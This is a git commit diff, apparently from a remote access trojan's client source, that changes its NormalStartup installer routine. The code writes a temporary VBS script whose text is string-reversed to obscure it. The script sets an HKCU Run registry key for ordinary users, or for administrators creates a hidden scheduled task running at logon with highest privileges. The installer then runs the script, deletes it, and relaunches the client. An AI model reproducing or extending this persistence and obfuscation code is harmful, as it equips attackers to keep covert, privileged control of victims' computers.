Update NormalStartup.cs

This commit is contained in:
NYAN CAT 2019-05-26 20:51:52 +03:00
parent fa0c454fb5
commit 2abc8572c5

View File

@ -43,32 +43,27 @@ namespace Client.Install
fs.Write(clientExe, 0, clientExe.Length); fs.Write(clientExe, 0, clientExe.Length);
fs.Dispose(); fs.Dispose();
if (!Methods.IsAdmin())
string tempName = Path.GetTempFileName() + ".vbs";
string TempPath = Strings.StrReverse(Settings.ClientFullPath);
string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath));
using (StreamWriter sw = new StreamWriter(tempName, false))
{ {
string tempName = Path.GetTempFileName() + ".vbs"; if (!Methods.IsAdmin())
string TempPath = Strings.StrReverse(Settings.ClientFullPath);
String TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath));
using (StreamWriter sw = new StreamWriter(tempName, false))
{ {
sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW
)""llehS.tpircSW""(tcejbOetaerC = llehShsW teS")); )""llehS.tpircSW""(tcejbOetaerC = llehShsW teS"));
} }
Process.Start(tempName); else
Thread.Sleep(1000);
File.Delete(tempName);
}
else
{
Process.Start(new ProcessStartInfo()
{ {
FileName = "schtasks", sw.Write(Strings.StrReverse($@")eslaF ,0 ,""{TempPath}"""" rt/ {TempPathName} nt/ tsehgih lr/ nogolno cs/ etaerc/ sksathcs""( nuR.llehShsw = ter
Arguments = $"/create /sc onlogon /rl highest /tn {Path.GetFileName(Settings.ClientFullPath)} /tr " + "\"" + Settings.ClientFullPath + "\"", )""llehS.tpircSW""(tcejbOetaerC = llehShsw teS"));
CreateNoWindow = true, }
ErrorDialog = false,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
} }
Process.Start(tempName);
Thread.Sleep(1000);
File.Delete(tempName);
Process.Start(Settings.ClientFullPath); Process.Start(Settings.ClientFullPath);
Methods.ClientExit(); Methods.ClientExit();
Environment.Exit(0); Environment.Exit(0);